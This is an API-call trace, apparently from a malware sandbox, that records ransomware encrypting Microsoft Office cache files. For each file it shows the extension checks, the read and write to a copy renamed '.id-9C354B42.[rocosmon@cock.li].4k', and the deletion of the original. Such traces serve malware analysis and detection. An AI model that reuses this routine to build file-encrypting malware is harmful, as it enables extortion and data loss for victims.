	[0092.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.973] lstrlenW (lpString=".dbf") returned 4
	[0092.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.973] lstrlenW (lpString=".1cd") returned 4
	[0092.973] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.973] lstrlenW (lpString=".jpg") returned 4
	[0092.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.974] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0092.974] lstrlenW (lpString="AccessMUISet.xml") returned 16
	[0092.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0092.974] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=819) returned 1
	[0092.974] CloseHandle (hObject=0x190) returned 1
	[0092.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020
	[0092.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0092.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0092.975] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.975] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0092.975] GetLastError () returned 0x0
	[0092.975] ReadFile (in: hFile=0x190, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x333, lpOverlapped=0x0) returned 1
	[0092.987] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0092.988] ReadFile (in: hFile=0x190, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0092.988] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0092.988] SetEndOfFile (hFile=0x174) returned 1
	[0092.988] CloseHandle (hObject=0x174) returned 1
	[0092.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.995] SetEndOfFile (hFile=0x190) returned 1
	[0092.996] CloseHandle (hObject=0x190) returned 1
	[0092.996] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0092.996] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1
	[0092.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.997] lstrlenW (lpString=".doc") returned 4
	[0092.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString=".docx") returned 5
	[0092.997] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0092.997] lstrlenW (lpString=".pdf") returned 4
	[0092.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString=".xls") returned 4
	[0092.997] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString=".xlsx") returned 5
	[0092.997] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0092.997] lstrlenW (lpString=".ppt") returned 4
	[0092.997] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.997] lstrlenW (lpString=".zip") returned 4
	[0092.997] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.997] lstrlenW (lpString=".rar") returned 4
	[0092.997] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString=".bz2") returned 4
	[0092.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString=".7z") returned 3
	[0092.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.997] lstrlenW (lpString=".dbf") returned 4
	[0092.997] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.997] lstrlenW (lpString=".1cd") returned 4
	[0092.997] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString=".jpg") returned 4
	[0092.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString=".doc") returned 4
	[0092.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString=".docx") returned 5
	[0092.998] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0092.998] lstrlenW (lpString=".pdf") returned 4
	[0092.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString=".xls") returned 4
	[0092.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString=".xlsx") returned 5
	[0092.998] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0092.998] lstrlenW (lpString=".ppt") returned 4
	[0092.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString=".zip") returned 4
	[0092.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.998] lstrlenW (lpString=".rar") returned 4
	[0092.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString=".bz2") returned 4
	[0092.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString=".7z") returned 3
	[0092.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString=".dbf") returned 4
	[0092.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.998] lstrlenW (lpString=".1cd") returned 4
	[0092.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0092.999] lstrlenW (lpString=".jpg") returned 4
	[0092.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.999] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0092.999] lstrlenW (lpString="Setup.xml") returned 9
	[0092.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0092.999] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2624) returned 1
	[0092.999] CloseHandle (hObject=0x190) returned 1
	[0092.999] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0092.999] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0092.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0093.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0093.000] GetLastError () returned 0x0
	[0093.000] ReadFile (in: hFile=0x190, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xa40, lpOverlapped=0x0) returned 1
	[0093.041] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0093.041] ReadFile (in: hFile=0x190, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.042] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.042] SetEndOfFile (hFile=0x174) returned 1
	[0093.042] CloseHandle (hObject=0x174) returned 1
	[0093.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.043] SetEndOfFile (hFile=0x190) returned 1
	[0093.045] CloseHandle (hObject=0x190) returned 1
	[0093.045] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.045] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0093.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.046] lstrlenW (lpString=".doc") returned 4
	[0093.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString=".docx") returned 5
	[0093.046] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.046] lstrlenW (lpString=".pdf") returned 4
	[0093.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString=".xls") returned 4
	[0093.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString=".xlsx") returned 5
	[0093.046] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.046] lstrlenW (lpString=".ppt") returned 4
	[0093.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.046] lstrlenW (lpString=".zip") returned 4
	[0093.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.046] lstrlenW (lpString=".rar") returned 4
	[0093.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString=".bz2") returned 4
	[0093.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString=".7z") returned 3
	[0093.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.046] lstrlenW (lpString=".dbf") returned 4
	[0093.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.046] lstrlenW (lpString=".1cd") returned 4
	[0093.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.047] lstrlenW (lpString=".jpg") returned 4
	[0093.047] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.047] lstrlenW (lpString=".doc") returned 4
	[0093.047] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString=".docx") returned 5
	[0093.047] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.047] lstrlenW (lpString=".pdf") returned 4
	[0093.047] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString=".xls") returned 4
	[0093.047] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString=".xlsx") returned 5
	[0093.047] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.047] lstrlenW (lpString=".ppt") returned 4
	[0093.047] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.047] lstrlenW (lpString=".zip") returned 4
	[0093.047] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.047] lstrlenW (lpString=".rar") returned 4
	[0093.047] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString=".bz2") returned 4
	[0093.047] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString=".7z") returned 3
	[0093.047] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.047] lstrlenW (lpString=".dbf") returned 4
	[0093.047] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.048] lstrlenW (lpString=".1cd") returned 4
	[0093.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.048] lstrlenW (lpString=".jpg") returned 4
	[0093.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.048] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.048] lstrlenW (lpString="Setup.xml") returned 9
	[0093.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.335] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=31094) returned 1
	[0093.335] CloseHandle (hObject=0x1cc) returned 1
	[0093.335] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0093.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.336] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.336] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0093.360] GetLastError () returned 0x0
	[0093.360] ReadFile (in: hFile=0x1cc, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x7976, lpOverlapped=0x0) returned 1
	[0093.453] WriteFile (in: hFile=0x160, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7980, lpOverlapped=0x0) returned 1
	[0093.456] ReadFile (in: hFile=0x1cc, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.457] WriteFile (in: hFile=0x160, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.457] SetEndOfFile (hFile=0x160) returned 1
	[0093.457] CloseHandle (hObject=0x160) returned 1
	[0093.459] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.459] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.461] CloseHandle (hObject=0x1cc) returned 1
	[0093.461] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.461] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0093.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.462] lstrlenW (lpString=".doc") returned 4
	[0093.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString=".docx") returned 5
	[0093.462] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.462] lstrlenW (lpString=".pdf") returned 4
	[0093.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString=".xls") returned 4
	[0093.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString=".xlsx") returned 5
	[0093.462] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.462] lstrlenW (lpString=".ppt") returned 4
	[0093.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.462] lstrlenW (lpString=".zip") returned 4
	[0093.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.462] lstrlenW (lpString=".rar") returned 4
	[0093.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString=".bz2") returned 4
	[0093.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString=".7z") returned 3
	[0093.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.462] lstrlenW (lpString=".dbf") returned 4
	[0093.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.462] lstrlenW (lpString=".1cd") returned 4
	[0093.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.463] lstrlenW (lpString=".jpg") returned 4
	[0093.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.463] lstrlenW (lpString=".doc") returned 4
	[0093.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.463] lstrlenW (lpString=".docx") returned 5
	[0093.463] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.463] lstrlenW (lpString=".pdf") returned 4
	[0093.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.463] lstrlenW (lpString=".xls") returned 4
	[0093.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.463] lstrlenW (lpString=".xlsx") returned 5
	[0093.463] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.463] lstrlenW (lpString=".ppt") returned 4
